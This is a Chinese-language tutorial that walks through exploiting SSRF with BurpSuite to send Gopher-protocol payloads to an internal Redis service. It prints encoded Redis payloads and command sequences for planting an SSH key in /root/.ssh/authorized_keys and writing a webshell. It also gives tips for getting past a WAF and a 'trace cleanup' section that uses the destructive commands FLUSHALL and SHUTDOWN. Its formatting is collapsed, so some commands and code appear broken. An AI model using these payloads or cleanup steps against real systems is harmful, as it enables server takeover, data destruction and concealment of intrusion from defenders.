别再只测SSRF读文件了:用BurpSuite+Redis手把手教你构造Gopher协议攻击流量
从协议解析到实战突破BurpSuite高级SSRF攻击技术全景指南当渗透测试工程师面对一个存在SSRF漏洞的系统时传统的探测手段往往停留在简单的端口扫描和基础服务识别阶段。这种浅层次的测试不仅容易遗漏关键攻击路径也无法充分评估漏洞的实际危害程度。本文将揭示如何通过BurpSuite这一专业工具链实现对复杂协议攻击场景的深度利用特别是针对Redis服务的Gopher协议攻击手法。1. 协议攻击的本质与工具链重构在传统SSRF测试中工程师们习惯使用curl或简单脚本发送探测请求。这种方法在面对需要精确控制协议细节的场景时显得力不从心。BurpSuite作为渗透测试的瑞士军刀其Repeater模块提供了对HTTP请求的原子级控制能力这正是高级协议攻击所需的关键特性。为什么选择BurpSuite进行协议攻击完整的请求编辑历史记录自动化的编码/解码功能可视化的十六进制编辑界面便捷的重放测试机制提示在BurpSuite的Project options中启用Allow unsafe characters选项这是处理非标准协议流量的前提条件。Redis服务的特殊之处在于其通信协议采用纯文本格式这为协议注入提供了天然便利。但要将普通Redis命令转化为可通过SSRF触发的Gopher协议负载需要解决三个技术难点命令到协议格式的转换特殊字符的精确编码响应时序的预测与控制2. Redis协议深度解析与BurpSuite适配Redis协议RESP虽然简单但在通过Gopher协议传输时需要特别注意格式细节。以下是一个典型的Redis命令转换示例原始Redis命令SET key value CONFIG SET dir /tmp SAVE转换为Gopher格式的步骤将每个命令转换为RESP格式*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n进行URL编码%2A3%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Akey%0D%0A%245%0D%0Avalue%0D%0A构建Gopher URLgopher://127.0.0.1:6379/_%2A3%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Akey%0D%0A%245%0D%0Avalue%0D%0A在BurpSuite中实施这一过程时可以利用其Decoder模块实现自动化转换操作步骤BurpSuite模块关键功能命令构造Repeater原始请求编辑协议转换DecoderRESP格式生成编码处理DecoderURL编码转换最终测试Repeater请求发送与监控常见错误处理方案遇到Protocol error时检查CRLF格式\r\n出现Unknown command时验证命令大小写连接超时情况下确认网络策略和Redis配置3. 攻击场景实战从协议注入到系统控制3.1 SSH公钥注入技术精讲通过Gopher协议注入SSH公钥是获取系统权限的有效手段。与传统方法相比BurpSuite提供了更精细的控制能力生成标准化公钥文件(echo -e \n\n; cat id_rsa.pub; echo -e \n\n) gopher.txt构建Redis命令序列FLUSHALL SET payload 公钥内容 CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SAVE在BurpSuite中的关键操作点使用Paste from file直接导入二进制公钥通过Hex视图确保特殊字符正确处理利用Send to Repeater实现快速重试3.2 WebShell写入的进阶技巧传统WebShell写入方法容易受到路径限制通过BurpSuite可以实现动态路径发现先探测Web目录GET /ssrf.php?urlgopher://127.0.0.1:6379/_INFO HTTP/1.1分析返回信息中的config字段动态构建写入路径路径发现命令序列CONFIG GET dir CONFIG GET dbfilename注意现代Web服务器通常配置了写权限限制测试时需结合具体环境调整策略。4. 防御突破与痕迹清理实战高级渗透测试不仅要求实现攻击效果还需要考虑如何绕过防御机制和清理痕迹。BurpSuite的Intruder模块在此场景下表现出色对抗WAF的三种策略分块传输编码Chunked transfer encoding非常规HTTP方法如PROPFIND混合编码技术部分URL编码Redis服务痕迹清理的关键命令DEL payload CONFIG SET dir /var/lib/redis CONFIG SET dbfilename dump.rdb FLUSHALL SHUTDOWN SAVE在BurpSuite中实施自动化清理将清理命令保存为文本文件使用Intruder的Pitchfork攻击类型设置延迟时间模拟正常操作5. 工具链集成与自动化实践将BurpSuite与其他安全工具集成可以大幅提升测试效率。以下是推荐的集成方案工具链配置示例import subprocess from burp import IBurpExtender class BurpExtender(IBurpExtender): def processHttpMessage(self, tool, isRequest, message): if not isRequest: response message.getResponse() if bRedis in response: subprocess.run([notify-send, Redis服务发现])自动化测试流程使用Scanner进行初步探测通过Repeater验证漏洞利用Intruder实施批量测试借助Logger记录完整过程在实际测试项目中这种组合攻击方式的成功率取决于对协议细节的把握程度。有经验的测试工程师会建立自己的命令库针对不同Redis版本调整攻击载荷。例如Redis 5.x与6.x在ACL配置上的差异就需要采用不同的绕过技术。